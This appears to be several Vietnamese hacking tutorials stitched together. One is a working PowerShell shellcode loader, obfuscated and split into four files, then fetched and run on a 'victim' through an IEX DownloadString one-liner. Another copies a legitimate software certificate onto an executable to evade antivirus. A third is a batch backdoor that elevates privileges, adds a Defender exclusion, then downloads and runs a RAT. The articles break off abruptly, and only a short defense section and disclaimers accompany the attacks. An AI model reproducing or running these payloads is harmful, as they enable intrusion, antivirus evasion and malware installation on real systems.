Splitfus là gì ?

Splitfus (viết tắt của Split + Obfuscation) là kỹ thuật mà hacker sử dụng để:

• Chia nhỏ (split) mã độc PowerShell thành nhiều đoạn, ví dụ: malware1.ps1, malware2.ps1, malware3.ps1,…
• Làm rối (obfuscate) từng đoạn mã để tránh bị phân tích hoặc phát hiện bởi chữ ký của AV
• Thực thi theo nhiều giai đoạn (staged execution): Khi thực hiện tấn công, máy nạn nhân sẽ tải từng đoạn mã từ máy chủ hacker và chạy trực tiếp trong bộ nhớ, thay vì lưu toàn bộ payload trên đĩa. Đây là kiểu thực thường được biết đến với tên gọi multi-stage attack hoặc fileless malware

Tại sao Splitfus hiệu quả trong việc vượt qua Antivirus ?

• Giảm khả năng bị phát hiện theo chữ ký (signature-based detection)
• AV truyền thống dựa vào chữ ký hoặc mẫu mã độc. Khi mã độc được chia nhỏ và mã hóa, không có đoạn nào chứa toàn bộ payload, khiến việc phát hiện trở nên khó khăn
• Tránh quét tĩnh và sandbox
  • Nếu toàn bộ payload nằm trong một file, AV dễ dàng phân tích trước khi chạy
  • Với Splitfus, mã độc được tải động (on-demand) từ máy chủ hacker, nên môi trường sandbox khó tái hiện được toàn bộ quy trình
• Bypass AMSI (Antimalware Scan Interface)
• AMSI của Windows có khả năng quét nội dung PowerShell trước khi thực thi. Tuy nhiên, với Splitfus:
  • Các đoạn mã nhỏ, obfuscated và tải động → khó bị AMSI phân tích đầy đủ
  • Nhiều hacker còn kết hợp AMSI bypass với Splitfus để tăng hiệu quả
• Linh hoạt và dễ cập nhật
• Hacker có thể thay đổi một đoạn bất kỳ trên máy chủ mà không cần phát tán lại toàn bộ payload. Điều này khiến việc truy vết hoặc phát triển chữ ký AV trở nên khó hơn

Phần lý thuyết đơn giản ngắn gọn vậy thôi, bây giờ mình sẽ lấy ví dụ thực tế cho bạn dễ hình dung hơn cách kỹ thuật được thực hiện

Ví dụ thực tế

Nhiều chiến dịch tấn công APT và malware framework như Cobalt Strike, PowerShell Empire, Metasploit đã áp dụng cơ chế tương tự Splitfus để phát tán payload staged. Đây là xu hướng phổ biến trong các cuộc tấn công fileless hiện nay.

Được rồi, bây giờ cùng mình thử chạy 1 đoạn code Powershell sau: Write-Host “Invoke-Mimikatz” . Ồ bạn thấy đấy, Antivirus đã phát hiện và chặn đoạn mã này. Đây là chỉ 1 đoạn mã in ra chuỗi trên terminal mà tại sao lại bị chặn nhỉ ? Bởi vì nó chứa chuỗi ký tự “Invoke-Mimikatz”. Đây là một chữ ký (signature) cực kỳ nổi tiếng và đặc trưng của công cụ tấn công Mimikatz

Như vậy, các AV được cấu hình để chặn ngay lập tức bất kỳ đoạn mã nào chứa chữ ký nguy hiểm này, ngay cả ở giai đoạn sớm nhất, nhằm ngăn chặn mọi ý đồ tiềm tàng liên quan đến Mimikatz. Đây là một biện pháp phòng ngừa rủi ro.

Vậy là chúng ta đã biết cách AV được cấu hình, giờ hãy thử tách chuỗi “Invoke-Mimikatz” thành nhiều chuỗi ngắn khác nhau.

Như bạn thấy, dù tách chuỗi thành các phần nhỏ như “Invo”, “ke”, “-Mim”, “ikatz”, AV vẫn không phát hiện ra đoạn mã độc. Sau đó, khi chúng ta nối lại các chuỗi này trong quá trình thực thi kết quả vẫn là “Invoke-Mimikatz” nhưng đã vượt qua được hệ thống phát hiện của AV. Đây chính là ví dụ đơn giản nhất của kỹ thuật Splitfus

Bây giờ chúng ta cùng xem 1 ví dụ khai thác thực tế hơn với đoạn code Powershell sau, với file tên là sc-original.ps1

[Byte[]] $shellcode = @(0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54,
0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76,
0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17,
0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17,
0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4,
0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3)

function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp = $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}}
$handle = $assem.GetMethod('GetModuleHandle').Invoke($null, @($moduleName));
[IntPtr] $result = 0;
try {
Write-Host "First Invoke - $moduleName $functionName";
$result = $tmp[0].Invoke($null, @($handle, $functionName));
}catch {
Write-Host "Second Invoke - $moduleName $functionName";
$handle = new-object -TypeName System.Runtime.InteropServices.HandleRef -ArgumentList @($null, $handle);
$result = $tmp[0].Invoke($null, @($handle, $functionName));
}
return $result;
}

function getDelegateType {
Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,[Parameter(Position = 1)] [Type] $delType = [Void])
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType','Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}

$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $lpMem, $shellcode.Length)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),(getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)

Đây là đoạn mã Powershell thực thi Shellcode của calc.exe trên Windows, nếu chúng ta thực thi toàn bộ đoạn mã này thì sẽ bị AV chặn. Và lúc này mình sẽ áp dụng kĩ thuật Splitfus. Trước tiên mình sẽ sử dụng công cụ Chimera để xáo trộn đoạn mã này trở nên khó đọc hơn với câu lệnh sau

./chimera.sh -f sc-original.ps1 -l 3 -v -t -s -b -j -o sc-obf.ps1

Giờ đây, đoạn mã Powershell ban đầu đã được làm rối bằng cách thay đổi biến. Tiếp theo, mình sẽ chia tệp này thành nhiều phần nhỏ hơn để thực thi một cách rời rạc, khiến hệ thống bảo mật không thể phát hiện ra chữ ký đặc trưng của shellcode

Tiếp theo, mình chia tệp sc-obf.ps1 thành 4 tệp riêng biệt: sc1.ps1 ( chứa biến lưu trữ Shellcode ), sc2.ps1 ( chứa hàm LookupFunc đã làm rối ), sc3.ps1 ( chứa hàm getDelegateType đã làm rối ) và sc4.ps1 ( chứa 3 dòng code cuối cùng ). Mỗi phần này nếu bị quét riêng lẻ sẽ không gây cảnh báo từ AV. Đây là đoạn code đã xáo trộn và tách ra riêng biệt từng file như mình nói

#sc1.ps1
[Byte[]] $LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe = @(0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54,
0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76,
0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17,
0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17,
0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4,
0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3)

#sc2.ps1
function iRsUmgOEtIChVLeYYQcNrgKkLwHyChhaXKTDqfFcEs {
Param ($JzGCXcYJmJdQKoCerSqNXT, $LaHgzlZeSdXkwSwksNKHLbDEymlFp)
$FTNFeBumwTgCKnnMPmVEdfKoaWinKHpxBMujd = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods')
$jWwCsHjXRPShPEyyEBpzOw = $FTNFeBumwTgCKnnMPmVEdfKoaWinKHpxBMujd.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}}
$aFUfleAnufbxjgylCpxMoZnlpUkts = $FTNFeBumwTgCKnnMPmVEdfKoaWinKHpxBMujd.GetMethod('GetModuleHandle').Invoke($null, @($JzGCXcYJmJdQKoCerSqNXT));
[IntPtr] $XHcKpPqwXEaSejzfchayBW = 0;
try {
Write-Host "First Invoke - $JzGCXcYJmJdQKoCerSqNXT $LaHgzlZeSdXkwSwksNKHLbDEymlFp";
$XHcKpPqwXEaSejzfchayBW = $jWwCsHjXRPShPEyyEBpzOw[0].Invoke($null, @($aFUfleAnufbxjgylCpxMoZnlpUkts, $LaHgzlZeSdXkwSwksNKHLbDEymlFp));
}catch {
Write-Host "Second Invoke - $JzGCXcYJmJdQKoCerSqNXT $LaHgzlZeSdXkwSwksNKHLbDEymlFp";
$aFUfleAnufbxjgylCpxMoZnlpUkts = new-object -TypeName System.Runtime.InteropServices.HandleRef -ArgumentList @($null, $aFUfleAnufbxjgylCpxMoZnlpUkts);
$XHcKpPqwXEaSejzfchayBW = $jWwCsHjXRPShPEyyEBpzOw[0].Invoke($null, @($aFUfleAnufbxjgylCpxMoZnlpUkts, $LaHgzlZeSdXkwSwksNKHLbDEymlFp));
}
return $XHcKpPqwXEaSejzfchayBW;
}

#sc3.ps1
function DdKSsQGFmFfVhpHEtVzHaZFCWQGs {
Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $GVUAdTXmnEpoFzPorhRfka,[Parameter(Position = 1)] [Type] $RRqnOWxmsxKutFBpzSBCMlckCOfBNELkuuJsUOnHsB = [Void])
$YPjndxTHFIcbnisDBdfZAiWWMORMQEMwWeH = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType','Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$YPjndxTHFIcbnisDBdfZAiWWMORMQEMwWeH.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $GVUAdTXmnEpoFzPorhRfka).SetImplementationFlags('Runtime, Managed')
$YPjndxTHFIcbnisDBdfZAiWWMORMQEMwWeH.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $RRqnOWxmsxKutFBpzSBCMlckCOfBNELkuuJsUOnHsB, $GVUAdTXmnEpoFzPorhRfka).SetImplementationFlags('Runtime, Managed')
return $YPjndxTHFIcbnisDBdfZAiWWMORMQEMwWeH.CreateType()
}

#sc4.ps1
$WCUBLvVuyTuTmQBWbcWjbjzYViRFjOXfFH = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((iRsUmgOEtIChVLeYYQcNrgKkLwHyChhaXKTDqfFcEs kernel32.dll VirtualAlloc),(DdKSsQGFmFfVhpHEtVzHaZFCWQGs @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, $LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe, 0, $WCUBLvVuyTuTmQBWbcWjbjzYViRFjOXfFH, $LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe.Length)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((iRsUmgOEtIChVLeYYQcNrgKkLwHyChhaXKTDqfFcEs kernel32.dll CreateThread),(DdKSsQGFmFfVhpHEtVzHaZFCWQGs @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$WCUBLvVuyTuTmQBWbcWjbjzYViRFjOXfFH,[IntPtr]::Zero,0,[IntPtr]::Zero)

Các bước để thực hiện kĩ thuật Splitfus này cũng rất đơn giản. Đầu tiên, mình sử dụng lệnh sau để khởi tạo server Python trên cổng 80 với địa chỉ IP là 192.168.1.17:

python3 -m http.server 80

Server này sẽ lưu các file script PowerShell đã tách nhỏ và làm rối, cho phép máy nạn nhân tải xuống từng phần riêng biệt.

Cuối cùng mình tạo 1 đoạn lệnh thực thi ngắn gọn để thực thi trên máy nạn nhân

1..4 | ForEach-Object { IEX (New-Object System.Net.WebClient).DownloadString("http://192.168.1.17/sc$_.ps1") }

Lệnh này sẽ tải xuống và thực thi từng file script từ sc1.ps1 đến sc4.ps1. Đây là cách hiệu quả để vượt qua các cơ chế phát hiện mã độc vì mỗi phần riêng lẻ có thể trông vô hại. Khi kết hợp lại, chúng tạo thành một cuộc tấn công hoàn chỉnh mà nhiều giải pháp bảo mật không thể phát hiện

Với Metasploit, việc tạo shellcode trở nên dễ dàng hơn rất nhiều. Mình sẽ sử dụng lệnh msfvenom để tạo ra shellcode mới, sau đó thay thế vào script sc1.ps1. Điều này cho phép mình tùy biến cuộc tấn công theo nhiều hướng khác nhau, từ lấy quyền điều khiển máy tính nạn nhân đến đánh cắp thông tin hoặc cài đặt backdoor

https://streamable.com/rwoo4k

Và đó là những ví dụ đơn giản, nhưng thực tế, mã độc PowerShell không hề đơn giản như vậy. Các hacker sẽ phải dùng thêm kĩ thuật Bypass AMSI để tăng tỉ lệ thành công

Cách phòng thủ trước kỹ thuật Splitfus

Kỹ thuật Splitfus là một trong những phương pháp tấn công bằng PowerShell tinh vi, khó phát hiện nếu hệ thống không được giám sát chặt chẽ. Để phòng thủ hiệu quả trước Splitfus, đội ngũ an ninh mạng cần triển khai đồng bộ nhiều biện pháp chủ động, từ việc giám sát hành vi cho đến xây dựng hệ thống cảnh báo sớm và đào tạo người dùng cuối.

 Tăng cường giám sát PowerShell

PowerShell là công cụ thường bị lạm dụng trong các cuộc tấn công hiện đại. Để theo dõi hoạt động bất thường, hệ thống cần bật tính năng ghi nhật ký Script Block Logging (sử dụng Event ID 4104) kết hợp với Module Logging. Những thiết lập này giúp lưu lại toàn bộ lệnh PowerShell đã được thực thi, kể cả khi đã bị làm rối mã (obfuscate). Ngoài ra, nên kích hoạt chế độ Constrained Language Mode để hạn chế việc sử dụng các lệnh nguy hiểm trong môi trường thực thi PowerShell.

Kích hoạt và bảo vệ AMSI (Antimalware Scan Interface)

AMSI là lớp phòng vệ quan trọng giúp phân tích mã trước khi được thực thi trong PowerShell. Việc đảm bảo AMSI luôn được bật và không bị vượt qua (bypass) là điều thiết yếu. Khi tích hợp cùng Microsoft Defender hoặc các giải pháp EDR có hỗ trợ quét AMSI, khả năng phát hiện mã độc bị làm rối sẽ được nâng cao rõ rệt, giúp ngăn chặn sớm các hành vi tấn công từ Splitfus.

Kiểm tra hành vi tải động trong hệ thống

Một đặc điểm thường thấy của Splitfus là sử dụng các tham số nguy hiểm trong PowerShell như EncodedCommand hoặc gọi hàm IEX để tải mã từ xa thông qua chuỗi như (New-Object Net.WebClient).DownloadString. Hệ thống EDR hoặc HIDS cần được cấu hình để nhận diện những hành vi này. Đồng thời, cần cảnh giác khi phát hiện script được tải về từ domain không đáng tin cậy, đặc biệt là các yêu cầu HTTP GET chứa tập tin đuôi .ps1.

Thiết lập kiểm soát truy cập mạng chặt chẽ

Kiểm soát truy cập mạng đóng vai trò quan trọng trong việc ngăn chặn Splitfus giao tiếp với máy chủ điều khiển (C2 server). Cần chủ động chặn các kết nối outbound đến địa chỉ IP hoặc domain nghi ngờ. Việc cấu hình proxy kết hợp với kiểm tra TLS (TLS inspection) sẽ giúp phát hiện các hành vi tải mã ẩn dưới kết nối được mã hóa. Bên cạnh đó, cập nhật liên tục các chỉ số tấn công (IOC) từ nguồn Threat Intelligence Feed sẽ nâng cao khả năng nhận diện và phản ứng kịp thời.

Cuối cùng, yếu tố con người luôn là mắt xích yếu nhất trong chuỗi phòng thủ. Việc tuyên truyền và đào tạo người dùng cuối nhằm nâng cao nhận thức bảo mật là điều bắt buộc. Nhân viên cần được hướng dẫn không chạy script từ các nguồn không rõ ràng. Đồng thời, kỹ năng nhận diện email giả mạo (phishing) cũng cần được chú trọng vì đây thường là điểm xuất phát của các cuộc tấn công Splitfus.

Câu hỏi thường gặp

Splitfus là gì và tại sao nó hiệu quả trong việc vượt qua Antivirus?

Splitfus là kỹ thuật hacker chia nhỏ mã độc PowerShell, làm rối code và thực thi từng phần. Điều này giúp giảm khả năng bị phát hiện dựa trên chữ ký, tránh quét tĩnh và sandbox, đồng thời bypass AMSI (Antimalware Scan Interface).

Kỹ thuật Splitfus hoạt động như thế nào trong thực tế?

Hacker chia mã độc thành nhiều đoạn nhỏ, mã hóa chúng và tải từng đoạn lên máy nạn nhân để thực thi. Việc này làm cho mã độc khó bị phát hiện hơn so với việc tải và thực thi một file mã độc lớn.

Có những công cụ nào hỗ trợ thực hiện kỹ thuật Splitfus?

Nhiều chiến dịch tấn công APT và framework malware như Cobalt Strike, PowerShell Empire, Metasploit sử dụng kỹ thuật tương tự Splitfus. Ngoài ra, các công cụ như Chimera có thể giúp làm rối mã nguồn PowerShell, hỗ trợ việc sử dụng kỹ thuật này.

Phương pháp này được lan truyền trên các diễn đàn Hacker, nhầm mục đích bypass Antivirus. Tuy nhiên trong bài này mình chỉ hướng dẫn để nghiên cứu, tránh lạm dụng vi phạm pháp luật nhé.

Lưu ý: việc đưa chứng chỉ vào App chỉ là 1 phần nhỏ trong việc bypass antivirus, chứ không phải cứ có chứng chỉ là bypass được đâu nhé. Các antivirus hiện nay còn nhận diện theo hành vi, kiểu mã hóa nửa…

Tạo File thực thi bằng Go Lang

Tạo một file Go Lang với chức năng mở một link bất kỳ. File này chủ yếu dùng để Test sau khi cấy Certificate xong thì có thực thi được không.

Để thực hiện bạn tải và cài đặt Go Lang trên máy tính

Download Go Lang

 Mở notepad copy đoạn code bên dưới và save với tên File: anonyviet.gotại thư mục D:\, như vậy ta sẽ có đường dẫn D:\anonyviet.go

package main

import (
    "fmt"
    "log"
    "os"
    "os/exec"
    "runtime"
)

func main() {
    baseURL := "https://anonyviet.com/"
    if len(os.Args) == 2 {
        baseURL = os.Args[1]
    }
    openBrowser(baseURL)
}
func openBrowser(targetURL string) {
    var err error

    switch runtime.GOOS {
    case "linux":
        err = exec.Command("xdg-open", targetURL).Start()
        // TODO: "Windows Subsytem for Linux" is also recognized as "linux", but then we need
        // err = exec.Command("rundll32.exe", "url.dll,FileProtocolHandler", targetURL).Start()
    case "windows":
        err = exec.Command("rundll32.exe", "url.dll,FileProtocolHandler", targetURL).Start()
    case "darwin":
        err = exec.Command("open", targetURL).Start()
    default:
        err = fmt.Errorf("unsupported platform %v", runtime.GOOS)
    }
    if err != nil {
        log.Fatal(err)
    }

}

mở CMD lên gõ lệnh:

D:\
go build anonyviet.go

Nếu thấy trong ổ D xuất hiện file anonyviet.exe là tạo xong file thực thi. Bây giờ bạn click phải chuột -> Properties sẽ không thấy Tab Digital Signatures, do chưa có Certificate. Bạn thực thi thử file anonyviet.exe xem có hiện lên trang Web không nhé.

Import Certificate vào File thực thi

Trong bài Lab này mình sẽ ví dụ trích xuất Certificate của phần mềm Unikey của bác Phạm Kim Long vào file anonyviet.exe mới tạo ở trên.

Trên Kali Linux thực hiện các lệnh sau:

git clone https://github.com/anonyvietofficial/Mangle.git
cd Mangle
go build Mangle.go
mv Mangle /usr/local/bin/

Tiến hành Copy file UnikeyNT.exe và anonviet.exe vào thư mục Mangle.

Bây giờ chúng ta sẽ tiến hành trích xuất Certificate từ UnikeyNT.exe sang anonyviet.exe và đặt tên mới là anonyviet_ok.exe, câu lệnh như sau:

Mangle -C /home/anonyviet/Mangle/UniKeyNT.exe -I anonyviet.exe -O anonyviet_ok.exe

Bạn tham khảo các tham số sau:

• -C: đường dẫn file muốn trích xuất Certificate
• -I: đường dẫn file thực thi của bạn
• -M: Chỉnh sửa tệp PE để loại bỏ các chỉ số Go
• -O:  đặt tên file mới
• -S: tăng dung lượng cho file (tính theo MB)

Bây giờ bạn thấy file anonyviet_ok.exe đã xuất hiện, đây là file đã được cấy Certificate của UnikeyNT.exe vào. Bạn hãy copy file này về máy Windows, kiểm tra trong Properties xem có tab Digital Signatures không nhé.

Bạn có thể double click vào chỗ Name of sign để xem thông tin chứng chỉ này. Bây giờ hãy thử thực thi xem nào, nó vẫn chạy bình thường nhé.!

Cách Mangle hoạt động để cấy chứng chỉ vào App

Mangle cũng có khả năng lấy toàn bộ chuỗi và tất cả các thuộc tính từ chứng chỉ ký mã từ một file exe, dll và sao chép nó vào một tệp khác. Các thông tin gồm ngày ký, chữ ký truy cập và các thuộc tính khác.

Mangle có thể xóa các chuỗi Indicators of Compromise (IoC) đã biết và thay thế chúng bằng các ký tự ngẫu nhiên, thay đổi tệp bằng cách tăng kích thước để tránh EDR và ​​có thể sao chép các chứng chỉ ký mã từ các tệp hợp pháp. Khi làm như vậy, Mangle giúp các payload tránh khỏi Antivirus.

Hiện nay Magle chỉ có thể sao chép Certificate vào các file .exe được build từ Go Lang, sắp tới có thể tác giả sẽ nâng cấp để có thể cấy vào các file thực thi khác.

Ngoài ra bạn có thể dùng một số công cụ khác tương tự như SigThief được viết bằng Python cũng khá dễ sử dụng.

Câu hỏi thường gặp

Cấy chứng chỉ vào ứng dụng có thực sự giúp tránh được tất cả các phần mềm diệt virus không?

Không. Cấy chứng chỉ chỉ là một phần nhỏ trong việc bypass antivirus. Các phần mềm diệt virus hiện đại còn dựa trên hành vi và các phương pháp phân tích mã độc khác để phát hiện phần mềm độc hại.

Công cụ Mangle hoạt động như thế nào?

Mangle trích xuất chứng chỉ kỹ thuật số từ một tệp thực thi (ví dụ: UnikeyNT.exe) và sao chép nó vào một tệp thực thi khác (ví dụ: anonyviet.exe). Nó có thể cũng thực hiện các thao tác khác như chỉnh sửa kích thước file và xóa các chỉ số nghi ngờ.

Tôi có thể sử dụng kỹ thuật này cho các loại file thực thi nào?

Hiện tại, Mangle chủ yếu hỗ trợ các file .exe được build từ Go Lang. Hỗ trợ cho các loại file khác có thể được bổ sung trong tương lai.

Lưu ý: Bài viết này chỉ dành cho mục đích giáo dục. Mọi hành vi phạm pháp Anonyviet sẽ không chịu toàn bộ trách nhiệm mà bạn đã gây ra

Cách tạo Backdoor đơn giản chỉ với một tập lệnh Batch

Để tạo được 1 Backdoor, trước tiên bạn hãy tạo một file có đuôi .bat sau đó copy đoạn code sau

@echo off

>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"

if '%errorlevel%' NEQ '0' (
    goto UACPrompt
) else ( goto gotAdmin )

:UACPrompt
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
    set params = %*:"=""
    echo UAC.ShellExecute "cmd.exe", "/c %~s0 %params%", "", "runas", 1 >> "%temp%\getadmin.vbs"

    "%temp%\getadmin.vbs"
    del "%temp%\getadmin.vbs"
    exit /B

:gotAdmin
    pushd "%CD%"
    CD /D "%~dp0"
Powershell -Command "Set-MpPreference -ExclusionExtension exe"
cd %TEMP%
curl "paste link backdoor của bạn ở đây" -o rat.exe
rat.exe

Ở đoạn code trên, chúng ta cần thay đổi một chút ở dòng code thứ 2 từ dưới lên, các bạn hãy tạo một liên kết downloads trực tiếp về máy, hãy đảm bảo rằng liên kết đó phải chứa virus trojan, malware,… tùy bạn muốn, tiếp đến là hãy đặt tên backdoor mà bạn muốn tải về máy nạn nhân, mình để tên là rat.exe Như vậy chúng ta đã tạo xong Backdoor. Bây giờ mình sẽ giải thích cách thức hoạt động nhé

Cách hoạt động như sau:

Tập lệnh này cấp các đặc quyền của quản trị viên, sau đó tải xuống và thực thi một tệp có tên “rat.exe” từ một máy chủ từ xa.Trước tiên, mình đã sử dụng lệnh cacls để kiểm tra các quyền trên tệp hệ thống nằm ở “%SYSTEMROOT%\system32\config\system”. Nếu lệnh này lỗi, thì tập lệnh sẽ chuyển sang nhãn UACPrompt, nhãn này sẽ tạo tập lệnh VB (Visual Basic) để nhắc nạn nhân chạy tập lệnh với quyền quản trị viên. Nếu lệnh cacls không có lỗi thì tập lệnh sẽ nhảy tới nhãn gotAdmin và tiến hành thực thi phần còn lại. Chúng ta có thể thấy rằng, nhãn gotAdmin thay đổi thư mục chứa có chứa lệnh pushd và CD. Sau đó, nó sẽ chạy lệnh PowerShell để đặt tùy chọn cho các phần mở rộng loại trừ tệp thành exe. Cuối cùng, nó chuyển sang thư mục %TEMP% và sử dụng lệnh curl để tải xuống “rat.exe” từ một máy chủ từ xa. Tiếp đến nó sẽ chạy tệp đã tải xuống bằng lệnh rat.exe.

Như vậy, Backdoor này hoạt động rất đơn giản, nếu máy cài 2 Antivirus trở lên thì Backdoor này trở nên vô ích và nạn nhân sẽ phát hiện. Sau đây mình sẽ nói ra một số cách phòng chống Backdoor để mọi người cùng biết và né tránh

Cách phòng chống Backdoor

1.Xác minh nguồn gốc và tính xác thực của bất kì file hoặc chương trình trước khi chạy

2.Cập nhật các phiên bản phầm nềm chống Virus mới nhất

3.Không tải các phần mềm không rõ nguồn gốc

4.Sử dụng tường lửa

Bài viết đến đây là hết rồi, mình mong các bạn học được điều gì đó từ bài viết này. Chúc các bạn có một ngày thật tốt lành !

Bạn cũng có thể đọc thêm bài Villain – Bypass AntiVirus chiếm quyền shell Windows và Linux tai website Anonyviet.com

Câu hỏi thường gặp

Backdoor trong bài viết hoạt động như thế nào?

Backdoor này sử dụng tập lệnh batch để đạt quyền quản trị viên, sau đó tải và chạy một file thực thi (“rat.exe”) từ một máy chủ từ xa. Quá trình này bao gồm kiểm tra quyền, tự động nâng quyền nếu cần thiết, và vô hiệu hóa một số chức năng bảo mật.

Tôi có thể sử dụng backdoor này cho mục đích gì?

Bài viết này chỉ mang mục đích giáo dục. Việc sử dụng backdoor cho bất kỳ mục đích nào khác ngoài nghiên cứu an ninh mạng là bất hợp pháp và nguy hiểm. Chúng tôi không chịu trách nhiệm cho bất kỳ hậu quả nào phát sinh từ việc sử dụng mã nguồn này.

Làm thế nào để phòng tránh backdoor?

Cần xác minh nguồn gốc phần mềm trước khi cài đặt, cập nhật phần mềm diệt virus thường xuyên, tránh tải phần mềm từ nguồn không rõ ràng và sử dụng tường lửa để bảo vệ hệ thống.

Nhằm tránh Windows Defender phát hiện. Và phiên bản mới của AnonyvietTrojan đã được hỗ trợ chạy trên hệ điều hành Linux như là Kali Linux, Parrot Os,… và các hệ điều hành Linux khác. Ở phiên bản AnonyvietTrojan 1.1 đã có chức năng đó là mã hóa base64, sang phiên bản AnonyvietTrojan 1.2 thì đã thay 1 chút về thuật toán mã hóa. Nhưng có một điều đáng buồn đó là phiên bản này sẽ loại bỏ Nuitka và loại bỏ chức năng sử dụng link tải virus trực tiếp về máy tự động thực thi trên hệ điều hành Linux còn Windows thì vẫn giữ nguyên tính năng đó nhé. Ko luyên thuyên dài dòng nữa vào vấn đề chính thôi !

lưu ý: Bài viết này chỉ dành cho mục đích giáo dục. Anonyviet sẽ không chịu trách nhiệm mọi hành vi xấu mà bạn gây ra !

Cách Setup tool AnonyvietTrojan trên Kali Linux

Link tải AnonyvietTrojan v1.2 cho Windows tại đây. Trang GitHub của AnonyvietTrojan

Cách setup tool trên Kali Linux cũng rất đơn giản, bạn chỉ cần mở terminal lên mà paste những đoạn lệnh sau:

git clone https://github.com/sonvan1811/AnonyvietTrojan.git

cd AnonyvietTrojan

sudo python3 setup.py

